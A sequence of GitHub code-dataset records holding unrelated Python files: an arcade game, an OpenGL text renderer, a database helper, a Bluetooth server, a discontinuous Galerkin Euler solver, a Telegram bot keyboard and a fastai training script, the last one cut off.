\n\n def on_key_press(self, key, modifiers):\n\n p = self.player\n\n if key == arcade.key.W:\n p.dspeed += 10\n if key == arcade.key.S:\n p.dspeed += -5\n if key == arcade.key.A:\n p.dangle += 10\n if key == arcade.key.D:\n p.dangle += -10\n\n def on_key_release(self, key, modifiers):\n\n p = self.player\n\n if key == arcade.key.W:\n p.dspeed -= 10\n if key == arcade.key.S:\n p.dspeed -= -5\n if key == arcade.key.A:\n p.dangle -= 10\n if key == arcade.key.D:\n p.dangle -= -10\n\n\n\n\n\n def on_update(self, deltatime):\n\n self.player.update()\n self.player2.update()\n\n def on_draw(self):\n\n\n arcade.start_render()\n \n self.player.draw()\n self.player2.draw()","repo_name":"KaEnfors/GyKurser2020","sub_path":"Prog2_2020/2 - Arcade/2_sprites/GameFileKlasser.py","file_name":"GameFileKlasser.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"73222317015","text":"import numpy as np\n\nimport OpenGL.GL as gl\nimport freetype as ft\n\nfrom hc.ui.glitems import displaylist, HCItem\n\n\nclass Text(HCItem):\n def __init__(self, txt, center=False, font='VeraMono.ttf'):\n super(Text, self).__init__()\n self.base, self.texid = self.load_font(font, 64)\n self.txt = str(txt)\n sc = 1. / self.height\n self.height *= sc\n self.width *= sc * len(self.txt)\n\n self.scale(sc, sc, 1)\n if center:\n self.translate(-self.width/2., self.height/2., 0)\n else:\n self.translate(0, self.height, 0)\n\n def load_font(self, filename, size):\n # Load font and check it is monotype\n face = ft.Face(filename)\n face.set_char_size(size * 64)\n if not face.is_fixed_width:\n raise 'Font is not monotype'\n\n # Determine largest glyph size\n width, height, ascender, descender = 0, 0, 0, 0\n for c in range(32, 128):\n face.load_char(chr(c), ft.FT_LOAD_RENDER | ft.FT_LOAD_FORCE_AUTOHINT)\n bitmap = face.glyph.bitmap\n width = max(width, bitmap.width)\n ascender = max(ascender, face.glyph.bitmap_top)\n descender = max(descender, bitmap.rows - face.glyph.bitmap_top)\n height = ascender + descender\n\n self.width = width\n self.height = height\n\n # Generate texture data\n Z = np.zeros((height * 6, width * 16), dtype=np.ubyte)\n for j in range(6):\n for i in range(16):\n face.load_char(chr(32 + j * 16 + i),\n ft.FT_LOAD_RENDER | ft.FT_LOAD_FORCE_AUTOHINT)\n\n bitmap = face.glyph.bitmap\n x = i * width + face.glyph.bitmap_left\n y = j * height + ascender - face.glyph.bitmap_top\n Z[y:y + bitmap.rows, x:x + bitmap.width].flat = bitmap.buffer\n\n # Bound texture\n texid = gl.glGenTextures(1)\n gl.glBindTexture(gl.GL_TEXTURE_2D, texid)\n gl.glTexParameterf(gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MAG_FILTER, gl.GL_LINEAR)\n gl.glTexParameterf(gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MIN_FILTER, gl.GL_LINEAR)\n gl.glTexImage2D(gl.GL_TEXTURE_2D, 0, gl.GL_ALPHA, Z.shape[1], Z.shape[0], 0,\n gl.GL_ALPHA, gl.GL_UNSIGNED_BYTE, Z)\n\n # Generate display lists\n dx, dy = width / float(Z.shape[1]), height / float(Z.shape[0])\n base = gl.glGenLists(8 * 16)\n for i in range(8 * 16):\n c = chr(i)\n x = i % 16\n y = i // 16 - 2\n gl.glNewList(base + i, gl.GL_COMPILE)\n if (c == '\\n'):\n gl.glPopMatrix()\n gl.glTranslatef(0, -height, 0)\n gl.glPushMatrix()\n elif (c == '\\t'):\n gl.glTranslatef(4 * width, 0, 0)\n elif (i >= 32):\n gl.glBegin(gl.GL_QUADS)\n gl.glTexCoord2f(x * dx, (y + 1) * dy)\n gl.glVertex(0, -height)\n gl.glTexCoord2f(x * dx, y * dy)\n gl.glVertex(0, 0)\n gl.glTexCoord2f((x + 1) * dx, y * dy)\n gl.glVertex(width, 0)\n gl.glTexCoord2f((x + 1) * dx, (y + 1) * dy)\n gl.glVertex(width, -height)\n gl.glEnd()\n gl.glTranslatef(width, 0, 0)\n gl.glEndList()\n\n return base, texid\n\n @displaylist\n def paint(self):\n self.setupGLState()\n gl.glTexEnvf(gl.GL_TEXTURE_ENV, gl.GL_TEXTURE_ENV_MODE, gl.GL_MODULATE)\n gl.glEnable(gl.GL_TEXTURE_2D)\n gl.glBindTexture(gl.GL_TEXTURE_2D, self.texid)\n\n gl.glColor(1, 0, 0, 1)\n gl.glListBase(self.base)\n gl.glCullFace(gl.GL_FRONT)\n gl.glPushMatrix()\n gl.glCallLists([ord(c) for c in self.txt])\n gl.glPopMatrix()\n gl.glCullFace(gl.GL_BACK)\n gl.glPushMatrix()\n gl.glCallLists([ord(c) for c in self.txt])\n gl.glPopMatrix()\n","repo_name":"hackerspace/hacked_cnc","sub_path":"hc/ui/glitems/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"42566435352","text":"from database import Database\nfrom pymysql.err import InternalError\n\nclass Category:\n\t\n\tdef __init__(self, name, idstr):\n\t\tself.name = name\n\t\tself.idstr = idstr\n\n\tdef save(self, db):\n\t\ttry:\n\t\t\tprint(\"SELECT * FROM categories WHERE name = %s\".format(self.name))\n\t\t\tdb.cur.execute(\"SELECT * FROM categories WHERE name = %s\", (self.name))\n\n\t\t\tif db.cur.rowcount == 0:\n\t\t\t\tdb.cur.execute(\"INSERT INTO categories (name, idstr) VALUES (%s, %s)\", (self.name, self.idstr))\n\t\t\t\tdb.conn.commit()\n\t\t\t\tself.id = db.cur.lastrowid\n\t\t\telse:\n\t\t\t\tself.id = db.cur.fetchall()[0][\"id\"]\n\n\t\texcept InternalError as e:\n\t\t\tprint(\"Error inserting category\")\n\t\t\tprint(e)\n\t\t\tdb.conn.rollback()\n\n\n\t\treturn self\n\n","repo_name":"REMitchell/CSCIE109A","sub_path":"final/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"34264796811","text":"import uuid\nimport bluetooth\n\nport=1\nserver_socket=bluetooth.BluetoothSocket(bluetooth.RFCOMM) #設定為射頻通訊\nserver_socket.bind((\"\", port)) #連結至port1\nserver_socket.listen(1) #監聽port1\nservice_id = str(uuid.uuid4()) #設定隨機UUID(通用唯一識別碼)\n\ntry:\n print('按下 Ctrl-C 可停止程式')\n while True:\n print('等待 RFCOMM 頻道 {} 的連線'.format(port))\n client_socket, client_info = server_socket.accept()\n print('接受來自 {} 的連線'.format(client_info))\n try:\n while True:\n data = client_socket.recv(1024).decode().lower()\n if len(data) == 0:\n break\n if data == 'on':\n print('開燈')\n client_socket.send('Turn On ')\n elif data == 'off':\n print('關燈')\n client_socket.send('Turn Off ')\n else:\n print('未知的指令: {}'.format(data))\n except IOError:\n pass\n client_socket.close()\n print('中斷連線')\nexcept KeyboardInterrupt:\n print('中斷程式')\nfinally:\n if 'client_socket' in vars():\n client_socket.close()\n server_socket.close()\n print('中斷連線')\n","repo_name":"Mao1142/Bluetooth_RFCOMM","sub_path":"Raspberry/BT_Server.py","file_name":"BT_Server.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"38405349668","text":"import numpy as np\nfrom scipy.sparse import coo_matrix\nfrom polynomial import *\nimport matplotlib.pyplot as plt\n\nclass EulerDG:\n\n def __init__(self, order, elements, startX, stopX):\n ###########\n # Constants\n ##########\n\n self.gamm = 1.4\n self.R = 287.\n \n ##########\n\n self.order = order\n self.Np = order + 1\n\n self.var_dim = 3\n\n self.elements = elements \n self.startX = startX \n self.stopX = stopX\n\n self.num_faces = elements + 1\n\n self.x_r, self.intPoints, self.f2e, self.e2f = self.dgMesh(self.elements, \n self.startX, self.stopX, self.order)\n\n self.u = np.zeros( self.var_dim*self.elements*self.Np )\n \n self.project(self.fn, self.intPoints, self.u) # Set initial condition\n\n self.nodes = np.polynomial.legendre.leggauss(self.Np)[0] \n\n self.dg_l = Poly().leftRadauDeri(order, self.nodes)\n self.dg_r = Poly().rightRadauDeri(order, self.nodes)\n\n gaussNodes = np.polynomial.legendre.leggauss(self.Np)[0] \n self.dPhi = Poly().lagrangeDeri(gaussNodes)\n\n self.l_R = Poly().lagrange_right(order)\n self.l_L = Poly().lagrange_left (order)\n\n self.P_l, self.P_r = self.getFaceProj() \n self.G_l, self.G_r = self.getFaceCorr() \n \n self.Dx = self.getDerivativeMatrix()\n\n\n\n def dgMesh(self, elements, startX, stopX, order):\n Np = order + 1\n\n grid = np.zeros((elements, 2))\n\n dx = (stopX - startX)/float(elements)\n\n for i in range(elements):\n grid[i, 0] = startX + i*dx\n grid[i, 1] = startX + (i + 1)*dx\n \n x_r = np.zeros((elements))\n for i in range(elements):\n x_r[i] = (grid[i, 1] - grid[i, 0])/2.0\n\n intPoints = np.zeros((elements, Np))\n\n gaussNodes = np.polynomial.legendre.leggauss(Np)[0] \n\n for i in range(elements):\n for j in range(Np):\n intPoints[i, j] = 0.5*(1 - gaussNodes[j])*grid[i, 0] + 0.5*(1 + gaussNodes[j])*grid[i, 1] \n\n # (showing 1 interior node)\n # Faces:\n # 0 1 2 3 4\n # *----x----*----x----*----x----*----x----*\n # Elements:\n # (0) (1) (2) (3)\n\n # Creating face connectivity\n\n num_faces = elements + 1\n\n f2e = np.zeros( (num_faces, 2), dtype=int ) # 0: Left element, 1: Right element\n\n for i in range(1, num_faces - 1):\n f2e[i, 0] = i - 1\n f2e[i, 1] = i \n\n # Periodic boundaries\n f2e[0, 0] = elements - 1 \n f2e[0, 1] = 0 \n\n f2e[num_faces - 1, 0] = elements - 1 \n f2e[num_faces - 1, 1] = 0 \n\n # Element to faces\n e2f = np.zeros( (elements, 2), dtype=int ) # 0: Left face, 1: Right face \n\n for i in range(elements):\n e2f[i, 0] = i \n e2f[i, 1] = i + 1 \n\n return(x_r, intPoints, f2e, e2f)\n\n\n def project(self, fn, x, u):\n elements = x.shape[0]\n Np = x.shape[1]\n var_dim = self.var_dim\n\n size = elements*Np\n\n for i in range(elements):\n for j in range(Np):\n init_sol = fn(x[i, j])\n for k in range(var_dim):\n u[k*size + i*Np + j] = init_sol[k]\n\n def fn(self, x):\n u = np.zeros(3)\n\n rho = 1.0 + 0.2*np.sin(np.pi*(x))\n p = 1\n vel = 1\n\n u[0] = rho\n u[1] = rho*vel\n u[2] = p/(self.gamm - 1) + 0.5*rho*vel*vel\n\n return u \n\n\n def getPointEulerFlux(self, u):\n f = np.zeros_like(u)\n\n rho = u[0]\n rhoV = u[1]\n rho_e = u[2]\n\n v = rhoV/rho\n v_sq = v*v\n\n p = (self.gamm - 1)*(rho_e - 0.5*rho*v_sq)\n\n f[0] = rhoV\n f[1] = rho*v_sq + p\n f[2] = (rho_e + p)*v \n\n return f\n\n def getEulerFlux(self, var_dim, size, u):\n '''\n Get the 1D euler fluxes for the given solution vector\n '''\n f = np.zeros_like(u)\n \n for i in range(size):\n rho = u[ i]\n rhoV = u[ size + i]\n rho_e = u[2*size + i]\n \n v = rhoV/rho\n v_sq = v*v\n \n p = (self.gamm - 1)*(rho_e - 0.5*rho*v_sq)\n \n f[ i] = rhoV\n f[ size + i] = rho*v_sq + p\n f[2*size + i] = (rho_e + p)*v \n\n\n return f\n \n \n def getPointEulerJacobian(self, var_dim, gamm, u):\n J = np.zeros( (var_dim, var_dim) )\n\n rho = u[0]\n rhoV = u[1]\n rho_e = u[2]\n\n E = rho_e\n\n v = rhoV/rho\n v_sq = v*v\n\n p = (self.gamm - 1)*(rho_e - 0.5*rho*v_sq)\n\n a = np.sqrt(gamm*p/rho)\n\n J[0, :] = [0, 1, 0]\n\n J[1, 0] = -0.5* (rhoV**2/rho**2) * (3 - gamm)\n J[1, 1] = (rhoV /rho ) * (3 - gamm)\n J[1, 2] = (gamm - 1)\n \n J[2, 0] = -( (rhoV * E *gamm)/rho**2 ) + (rhoV**3/rho**3)*(gamm - 1)\n J[2, 1] = ( ( E *gamm)/rho ) - 1.5 * (rhoV**2/rho**2)*(gamm - 1)\n J[2, 2] = ( ( rhoV *gamm)/rho ) \n\n return J\n\n \n def getEulerJacobian(self, var_dim, size, u):\n '''\n Get the 1D euler fluxes for the given solution vector\n '''\n\n F_u = np.zeros( (var_dim*size, var_dim*size) )\n J = np.zeros( (var_dim, var_dim) )\n\n cons = np.zeros(var_dim)\n for i in range(size):\n cons[0] = u[ i]\n cons[1] = u[ size + i]\n cons[2] = u[2*size + i]\n\n J = self.getPointEulerJacobian(var_dim, self.gamm, cons)\n\n for v1 in range(var_dim):\n for v2 in range(var_dim):\n F_u[v1*size + i, v2*size + i] = J[v1, v2] \n\n# self.plot_coo_matrix(F_u)\n\n# print(np.dot(F_u, u))\n\n return F_u\n\n\n \n def getDerivativeMatrix(self):\n var_dim = self.var_dim\n\n elements = self.elements \n Np = self.Np \n\n dPhi = np.asarray(self.dPhi)\n\n Dx = np.zeros( (var_dim*elements*Np, var_dim*elements*Np) )\n\n size = elements*Np\n for vd in range(var_dim):\n for i in range(elements):\n for j in range(Np):\n Dx[vd*size + i*Np + j, vd*size + i*Np:vd*size + i*Np + Np] = dPhi[j, :]\n\n# self.plot_coo_matrix(Dx)\n\n return Dx\n\n def getFaceCorr(self): \n \"\"\"\n Get face correction matrices \n G_L projects to solution vector correction from left side \n G_R projects to solution vector correction from rght side \n\n Sign conventions here are a little complicated\n We do everything from the perspective of faces, so when we say left\n it implies from the perspective of a given face, the left side of it. \n \"\"\"\n var_dim = self.var_dim\n\n elements = self.elements \n Np = self.Np \n\n num_faces = self.num_faces\n\n g_R = self.dg_l # Left goes to right side since left side of face\n g_L = self.dg_r # is right face of element\n \n e2f = self.e2f\n \n G_L = np.zeros( (var_dim*elements*Np, var_dim*num_faces ) )\n G_R = np.zeros( (var_dim*elements*Np, var_dim*num_faces ) )\n\n size = elements*Np\n\n # Should loop over elements, since for eg, in periodic faces\n # some face contributions can be added twice\n for i in range(elements):\n left = e2f[i, 1] # Here left is from perspective of face\n rght = e2f[i, 0]\n \n# print(i, left, g_L)\n# print(i, rght, g_R)\n\n for vd in range(var_dim):\n G_L[size*vd + i*Np:size*vd + i*Np + Np, vd*num_faces + left] = g_L \n G_R[size*vd + i*Np:size*vd + i*Np + Np, vd*num_faces + rght] = g_R \n\n# self.plot_coo_matrix(G_R)\n\n return G_L, G_R\n\n\n def getFaceProj(self): \n \"\"\"\n Get face projections matrices\n P_L projects solution vector to left side of faces\n P_R projects solution vector to rght side of faces\n\n Sign conventions here are a little complicated\n We do everything from the perspective of faces, so when we say left\n it implies from the perspective of a given face, the left side of it. \n \"\"\"\n\n var_dim = self.var_dim\n\n elements = self.elements \n Np = self.Np \n\n num_faces = self.num_faces\n\n l_R = self.l_L \n l_L = self.l_R \n\n f2e = self.f2e\n \n P_L = np.zeros( (var_dim*num_faces, var_dim*elements*Np) )\n P_R = np.zeros( (var_dim*num_faces, var_dim*elements*Np) )\n\n size = elements*Np\n for i in range(num_faces):\n left = f2e[i, 0]\n rght = f2e[i, 1]\n for vd in range(var_dim):\n P_L[vd*num_faces + i, size*vd + left*Np:size*vd + left*Np + Np] = l_L \n P_R[vd*num_faces + i, size*vd + rght*Np:size*vd + rght*Np + Np] = l_R \n\n# print(P_L)\n# self.plot_coo_matrix(P_R)\n\n return P_L, P_R\n\n\n def getDF_du_l(self, u): # Get DF(u_L)/Du_L :Requires Jacobian matrix of u_L \n var_dim = self.var_dim\n elements = self.elements \n num_faces = self.num_faces\n Np = self.Np \n\n gamm = self.gamm\n\n P_l = self.P_l; P_r = self.P_r \n \n u_l = np.dot(P_l, u) # Get face projections on the left side\n u_r = np.dot(P_r, u) # Get face projections on the rght side\n\n df_dul = np.zeros( (var_dim*num_faces, var_dim*num_faces) )\n df_dur = np.zeros( (var_dim*num_faces, var_dim*num_faces) )\n\n u_f_l = np.zeros(var_dim)\n u_f_r = np.zeros(var_dim)\n for i in range(num_faces):\n for j in range(var_dim):\n u_f_l[j] = u_l[j*num_faces + i]\n u_f_r[j] = u_r[j*num_faces + i]\n j_p_l = self.getPointEulerJacobian(var_dim, gamm, u_f_l)\n j_p_r = self.getPointEulerJacobian(var_dim, gamm, u_f_r)\n# print(np.dot(j_p, u_f))\n\n for v1 in range(var_dim):\n for v2 in range(var_dim):\n df_dul[v1*num_faces + i, v2*num_faces + i] = j_p_l[v1, v2] \n df_dur[v1*num_faces + i, v2*num_faces + i] = j_p_r[v1, v2] \n\n# self.plot_coo_matrix(df_dul)\n\n# print(u_l)\n# print(np.dot(df_dul, u_l))\n# print(np.dot(df_dur, u_r))\n\n return df_dul, df_dur\n\n\n def getLFFlux(self, u_l, u_r, f_l, f_r):\n rho_l = u_l[0]\n rho_u_l = u_l[1]\n rho_e_l = u_l[2]\n \n rho_r = u_r[0]\n rho_u_r = u_r[1]\n rho_e_r = u_r[2]\n\n v_l = rho_u_l/rho_l\n v_l_sq = v_l*v_l\n\n p_l = (self.gamm - 1)*(rho_e_l - 0.5*rho_l*v_l_sq)\n\n a_l = np.sqrt(self.gamm*p_l/rho_l)\n\n v_r = rho_u_r/rho_r\n v_r_sq = v_r*v_r\n\n p_r = (self.gamm - 1)*(rho_e_r - 0.5*rho_r*v_r_sq)\n\n a_r = np.sqrt(self.gamm*p_r/rho_r)\n\n lambd = np.max( (a_l + np.sqrt(v_l_sq), a_r + np.sqrt(v_r_sq)) )\n\n# f_I = 0.5*(f_l + f_r) - lambd*(u_r - u_l)\n f_I = 0.5*(f_l + f_r) \n\n return f_I\n\n\n\n def getCommonFlux(self, u_l, u_r, f_l, f_r):\n var_dim = self.var_dim\n elements = self.elements \n num_faces = self.num_faces\n Np = self.Np \n\n ul_point = np.zeros(var_dim)\n ur_point = np.zeros(var_dim)\n\n fl_point = np.zeros(var_dim)\n fr_point = np.zeros(var_dim)\n \n f_I = np.zeros_like(f_l)\n\n for i in range(num_faces):\n for j in range(var_dim):\n ul_point[j] = u_l[j*num_faces + i]\n ur_point[j] = u_r[j*num_faces + i]\n fr_point[j] = f_r[j*num_faces + i]\n fl_point[j] = f_l[j*num_faces + i]\n f_I_point = self.getLFFlux(ul_point, ur_point, fl_point, fr_point)\n for j in range(var_dim):\n f_I[j*num_faces + i] = f_I_point[j] \n\n# f_I = f_l # Naive upwinding\n\n return f_I\n\n\n def get_rhs(self, u):\n var_dim = self.var_dim\n elements = self.elements \n num_faces = self.num_faces\n Np = self.Np \n\n size = elements*Np\n\n Dx = self.Dx \n \n P_l = self.P_l; P_r = self.P_r \n G_l = self.G_l; G_r = self.G_r \n\n F_u = self.getEulerJacobian(var_dim, size, u)\n fd_u = np.dot( F_u, Dx ) # Jacobian x Derivative\n\n \"\"\"\n The following lines were written to mimic the explicit rhs evaluation\n pointwise. We are trying to get the same by using Jacobian operations\n directly on the solution vector in the actual evaluations\n\n f_x = np.dot( fd_u, u ) # Discontinuous derivatives\n\n u_l = np.dot(P_l, u) # Get face projections on the left side\n u_r = np.dot(P_r, u) # Get face projections on the left side\n\n f_l = self.getEulerFlux(var_dim, num_faces, u_l) # Get flux from the projected state\n f_r = self.getEulerFlux(var_dim, num_faces, u_r)\n f_I = self.getCommonFlux(u_l, u_r, f_l, f_r) # Common flux at faces\n rhs = f_x + np.dot( G_l, f_I - f_l ) + np.dot( G_r, f_I - f_r )\n \n x_r = self.x_r\n size = elements * Np\n for i in range(var_dim):\n for j in range(elements):\n for k in range(Np):\n sub = i*size + j*Np + k\n rhs[sub] = -1*rhs[sub]/x_r[j]\n\n rhs_operator = np.zeros_like(Dx)\n \"\"\"\n \n F_u = self.getEulerJacobian(var_dim, size, u)\n fd_u = np.dot( F_u, Dx ) # Jacobian x Derivative\n \n df_dul, df_dur = self.getDF_du_l(u) # Get Jacobian of flux against left and right states\n\n f_l_u = np.dot( df_dul, P_l )\n f_r_u = np.dot( df_dur, P_r )\n\n rhs_operator = fd_u + ( np.dot(G_l, 0.5*(f_l_u + f_r_u) - f_l_u) + \n np.dot(G_r, 0.5*(f_l_u + f_r_u) - f_r_u) )\n\n m = np.zeros_like(rhs_operator)\n\n x_r = self.x_r\n size = elements * Np\n for i in range(var_dim):\n for j in range(elements):\n for k in range(Np):\n sub = i*size + j*Np + k\n m[sub, sub] = 1./x_r[j] # Inverse of size matrix\n\n rhs_operator = np.dot( m, rhs_operator )\n rhs = np.dot(rhs_operator, u) \n\n# self.plot_coo_matrix(rhs_operator)\n\n rhs = -1*rhs\n\n return rhs_operator, rhs\n\n\n def bdf(self, dt, u, rhs_fn):\n tol = 2E-15\n\n J, rhs = rhs_fn(u)\n\n size = u.shape[0]\n\n I_lhs = (1/dt)*np.identity(size)\n\n R_u = I_lhs + J\n\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n y = u\n for i in range(25):\n J, rhs = rhs_fn(y)\n \n R_u = I_lhs + J\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n res = -( (1./dt)*y - (1./dt)*u - rhs )\n\n dy = np.dot( R_u_inv, res ) \n\n y = y + dy\n\n max_res = np.max(np.abs(dy))\n\n if ( max_res < tol ):\n break\n\n# print(\"max residual was \", max_res)\n\n u = y\n\n return u\n\n \n def dirk_23(self, dt, u, rhs_fn):\n \"\"\"\n 2 stage 3rd order DIRK from\n DIRK methods for stiff odes - Roger Alexander 1977\n \"\"\"\n tol = 2E-15\n max_iter = 25\n\n a11 = 0.5 + 0.5*(1./np.sqrt(3))\n a21 = -(1./np.sqrt(3))\n a22 = 0.5 + 0.5*(1./np.sqrt(3))\n \n b1 = 0.5 \n b2 = 0.5 \n\n size = u.shape[0]\n\n I = np.identity(size)\n\n # Stage 1\n\n y = u\n for i in range(max_iter):\n J, rhs = rhs_fn(y)\n \n R_u = (1./ (a11*dt) )*I + J\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n res = -( (1./( a11*dt ) )*y - (1./ ( a11*dt ) )*u - rhs )\n\n dy = np.dot( R_u_inv, res ) \n\n y = y + dy\n\n max_res = np.max(np.abs(dy))\n\n if ( max_res < tol ):\n break\n\n y1 = y\n J, rhs1 = rhs_fn(y1)\n\n # Stage 2\n\n y = y1\n for i in range(max_iter):\n J, rhs = rhs_fn(y)\n \n R_u = (1./ (a22*dt) )*I + J\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n res = -( (1./( a22*dt ) )*y - (1./ ( a22*dt ) )*u - (a21/a22)*rhs1 - rhs )\n\n dy = np.dot( R_u_inv, res ) \n\n y = y + dy\n\n max_res = np.max(np.abs(dy))\n\n if ( max_res < tol ):\n break\n\n print(\"max residual is \", max_res)\n\n y2 = y\n J, rhs2 = rhs_fn(y2)\n\n u = u + dt*b1*rhs1 + dt*b2*rhs2\n\n return u\n\n def sdisbp_22(self, dt, u, rhs_fn):\n \"\"\"\n 2 stage 3rd order DIRK from\n DIRK methods for stiff odes - Roger Alexander 1977\n \"\"\"\n tol = 2E-15\n max_iter = 25\n\n a11 = 1 - (1./np.sqrt(2))\n a21 =-1 + ( np.sqrt(2))\n a22 = 1 - (1./np.sqrt(2))\n \n b1 = 0.5 \n b2 = 0.5 \n\n size = u.shape[0]\n\n I = np.identity(size)\n\n # Stage 1\n\n y = u\n for i in range(max_iter):\n J, rhs = rhs_fn(y)\n \n R_u = (1./ (a11*dt) )*I + J\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n res = -( (1./( a11*dt ) )*y - (1./ ( a11*dt ) )*u - rhs )\n\n dy = np.dot( R_u_inv, res ) \n\n y = y + dy\n\n max_res = np.max(np.abs(dy))\n\n if ( max_res < tol ):\n break\n\n y1 = y\n J, rhs1 = rhs_fn(y1)\n\n # Stage 2\n\n y = y1\n for i in range(max_iter):\n J, rhs = rhs_fn(y)\n \n R_u = (1./ (a22*dt) )*I + J\n R_u_inv = np.linalg.inv(R_u) # Numpy used LU factorization to solve for inverse\n\n res = -( (1./( a22*dt ) )*y - (1./ ( a22*dt ) )*u - (a21/a22)*rhs1 - rhs )\n\n dy = np.dot( R_u_inv, res ) \n\n y = y + dy\n\n max_res = np.max(np.abs(dy))\n\n if ( max_res < tol ):\n break\n\n print(\"max residual is \", max_res)\n\n y2 = y\n J, rhs2 = rhs_fn(y2)\n\n u = u + dt*b1*rhs1 + dt*b2*rhs2\n\n return u\n\n\n\n\n\n def ssp_rk43(self, dt, u, rhs_fn):\n J, rhs = rhs_fn(u)\n y = u + (1.0/2)*dt*rhs\n\n J, rhs = rhs_fn(y)\n y = y + (1.0/2)*dt*rhs\n \n J, rhs = rhs_fn(y)\n y = (2.0/3)*u + (1.0/3)*y + (1/6)*dt*rhs\n\n J, rhs = rhs_fn(y)\n u = y + (1.0/2)*dt*rhs \n\n return u \n\n\n def euler_solver(self, dt, T_final):\n u = self.u\n\n T = 0\n dt_real = min(dt, T_final - T)\n\n \"\"\"\n 1: SSP RK43\n 2: BDF\n 3: DIRK 23\n 4: SDISBP 22\n \"\"\"\n time_stepping = 4\n\n it_coun = 0\n while (T < T_final) :\n if (time_stepping == 1):\n u = self.ssp_rk43(dt, u, self.get_rhs) \n elif (time_stepping == 2):\n u = self.bdf(dt, u, self.get_rhs)\n elif (time_stepping == 3):\n u = self.dirk_23(dt, u, self.get_rhs)\n elif (time_stepping == 4):\n u = self.sdisbp_22(dt, u, self.get_rhs)\n\n T = T + dt_real\n dt_real = min(dt, T_final - T)\n\n if (it_coun % 1 == 0):\n print('Time: ', T, ' Max u: ', np.max(u))\n\n it_coun = it_coun + 1\n\n self.u = u\n\n self.plot(self.intPoints, u, 0)\n \n\n def plot(self, x, u, vDim):\n '''\n vDim is the particular dimension that will be plotted\n '''\n var_dim = self.var_dim\n elements = self.elements \n num_faces = self.num_faces\n Np = self.Np \n\n size = elements*Np\n\n xv = np.zeros( (size) )\n uv = np.zeros( (size) )\n\n coun = 0\n for i in range(elements):\n for j in range(Np):\n sub = vDim*size + i*Np + j\n xv[coun] = x[ i, j]\n uv[coun] = u[sub]\n coun = coun + 1\n\n plt.plot(xv, uv)\n\n plt.show( )\n \n\n def plot_coo_matrix(self, m):\n m = coo_matrix(m)\n\n fig = plt.figure()\n\n ax = fig.add_subplot(111, axisbg='black')\n ax.plot(m.col, m.row, 's', color='white', ms=10)\n\n ax.set_xlim(0, m.shape[1])\n ax.set_ylim(0, m.shape[0])\n ax.set_aspect('equal')\n\n for spine in ax.spines.values():\n spine.set_visible(False)\n\n ax.invert_yaxis()\n\n ax.set_xticks([])\n ax.set_yticks([])\n\n# plt.savefig('system_jacobian.png', format = 'png')\n \n# plt.show()\n \n\nif __name__==\"__main__\":\n order = 3\n elements = 25 \n startX = -1\n stopX = 1\n \n '''\n correctType \n 0: Radau\n 1: Krivodnova , takes correcFac\n '''\n run = EulerDG(order, elements, startX, stopX)\n\n dt = 0.1 \n\n T_final = 1.55\n run.euler_solver(dt, T_final)\n\n\n","repo_name":"vikramsg/PDE","sub_path":"imp_euler.py","file_name":"imp_euler.py","file_ext":"py","file_size_in_byte":21940,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"} +{"seq_id":"70837803097","text":"from aiogram.types import ReplyKeyboardMarkup, KeyboardButton\n# ReplyKeyboardRemove removes the keyboard\n\nb1 = KeyboardButton(\"/Time\")\nb2 = KeyboardButton(\"/Location\")\nb3 = KeyboardButton(\"/Menu\")\n# b4 = KeyboardButton(\"Telephone\", request_contact=True) # request user number\n# b5 = KeyboardButton(\"My Location\", request_location=True) # request user location\n# one_time_keyboard=True hides buttons after clicking\nkb_client = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=False)\n\n# add for new line\n# insert for same line\n# row for all in one row\n# mix and combine as you like\nkb_client.add(b1).add(b2).insert(b3) # .row(b4, b5)\n","repo_name":"iCarambaaa/telegram_bot_aiogram","sub_path":"keyboards/client_kb.py","file_name":"client_kb.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"99203602","text":"import fastai\nfrom fastai.vision import *\nfrom fastai.callbacks import *\nfrom fastai.torch_core import *\nfrom fastai.callback import *\nfrom fastai.basic_train import *\n\nimport pandas as pd\nimport numpy as np\nimport os\nfrom fastai.callbacks import *\n\ntrainPath = '/home/santhosr/Data/'\n\ndata = (ImageItemList.from_folder(trainPath).random_split_by_pct(seed=321).label_from_folder().transform(get_transforms(),size=1024).databunch(bs=5))\n\n\n##### CALLBACK\nclass ModelTrackerCallback(TrackerCallback):\n \"A `TrackerCallback` that saves the model when monitored quantity is best.\"\n def __init__(self, learn:Learner, monitor:str='val_loss', mode:str='auto', prefix:str='resnet50',id:int=None):\n super().__init__(learn, monitor=monitor, mode=mode)\n \n self.bestAcc = 0.0001\n super().__post_init__()\n\n def on_epoch_end(self, epoch, **kwargs:Any)->None:\n \"Compare the value monitored to its best score and maybe save the model.\"\n print(epoch)\n acc = float(self.learn.recorder.metrics[epoch-1][0])\n val_loss = self.learn.recorder.val_losses[epoch-1]\n\n if acc>self.bestAcc:\n self.bestAcc = acc\n self.learn.save(f'model_'+str(int)+f'_resnet50_acc{int(acc*1000)}_loss{int(val_loss*1000)}')\n\n\n##### TRAINING\n\nlearn = create_cnn(data, models.resnet50, metrics=accuracy,pretrained=False)\nbest_model_cb = partial(ModelTrackerCallback,id=9)\nlearn.callback_fns.append(best_model_cb)\n\n# learn.model[-1] = create_head(nf=4096,nc=4)\n# learn.model[-1].cuda()\n\n# 